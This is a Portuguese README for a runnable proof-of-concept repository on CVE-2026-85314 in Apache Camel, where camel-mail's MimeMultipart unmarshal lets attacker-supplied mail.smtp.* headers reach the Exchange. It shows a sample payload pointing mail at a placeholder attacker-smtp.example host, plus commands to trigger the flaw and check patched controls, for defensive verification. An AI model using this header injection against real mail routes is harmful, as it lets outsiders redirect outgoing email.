
Prova de conceito executável que reproduz a CVE-2026-85314, demonstrando a injeção de cabeçalho mail.smtp em MimeMultipart do camel-mail no Camel Spring Boot e no Camel Quarkus, com controles corrigidos.
MimeMultipart (mail.smtp*)Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que o formato de dados MimeMultipart do camel-mail mapeava os cabeçalhos de uma mensagem para o Exchange no unmarshal usando um DefaultHeaderFilterStrategy simples, que não remove o namespace mail.smtp. / mail.smtps.. A CVE-2026-46584 fechou o caminho em que os cabeçalhos de e-mail chegavam ao Exchange sem filtragem, mas este formato de dados manteve um caminho não filtrado: esses nomes de cabeçalho não carregam o prefixo Camel (portanto, o filtro de cabeçalhos de um consumidor também não os bloqueia), e o namespace mail.smtp controla como um produtor de e-mail downstream se conecta e envia. Um remetente externo de uma mensagem multipart poderia, portanto, injetar propriedades de sessão do JavaMail e redirecionar a conexão de e-mail (CWE-20). Trata-se de uma correção incompleta da CVE-2026-46584, e não de uma nova classe de defeito.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (afetado; corrigido em 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, afetado; controle corrigido CQ 3.40.0 / Camel 4.22.1) |
Ambos os módulos demonstram o comportamento afetado e o corrigido contra o MimeMultipartDataFormat real.
O driver faz o unmarshal de uma mensagem multipart controlada pelo atacante (modo inline-headers, espelhando o próprio MimeMultipartDataFormatTest da correção) que carrega propriedades de sessão do JavaMail como cabeçalhos MIME, e então informa quais delas chegaram ao Exchange:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth sobrevivem todos ao unmarshal e se tornam cabeçalhos
do Exchange — um produtor de e-mail a jusante os leria, então o remetente redireciona para onde o e-mail é enviado.mail.smtp.* é filtrado no unmarshal (via MailHeaderFilterStrategy), enquanto o
cabeçalho não relacionado X-Normal é mantido.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Propriedade | Valor |
|---|---|
| Componente | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (Validação de Entrada Imprópria) |
| Severidade | MÉDIA |
| Vetor de ataque | A mensagem multipart de um remetente externo carrega cabeçalhos MIME mail.smtp.*; o unmarshalling os mapeia para o Exchange |
| Impacto | Propriedades de sessão JavaMail injetadas direcionam como/onde um produtor de e-mail downstream se conecta e envia |
| Versões Afetadas | A partir de 4.0.0 antes de 4.18.5, a partir de 4.19.0 antes de 4.22.1 |
| Versões Corrigidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Relacionado | Correção incompleta da CVE-2026-46584 |
| Crédito | Claude Security Scan Tool |
Aviso: https://camel.apache.org/security/CVE-2026-85314.html
O módulo afetado do Quarkus é construído sobre o CQ 3.39.0 (Camel 4.22.0). O controle corrigido é o CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat agora usa MailHeaderFilterStrategy em vez de
DefaultHeaderFilterStrategy, de modo que o namespace mail.smtp. / mail.smtps. é filtrado no unmarshal exatamente como o
consumidor de e-mail o filtra no lado de entrada (CAMEL-23522) — fechando o caminho que a CVE-2026-46584 deixou aberto.
Remova o namespace após o data format com removeHeaders("mail.smtp*") antes de qualquer produtor de e-mail.
Este repositório é publicado para fins educacionais e defensivos: para ajudar os usuários do Apache Camel a entender a
vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. A mensagem multipart é um
fixture benigno em processo; attacker-smtp.example é um placeholder e nenhum e-mail é enviado. Não use este material
contra sistemas que você não possui ou opera.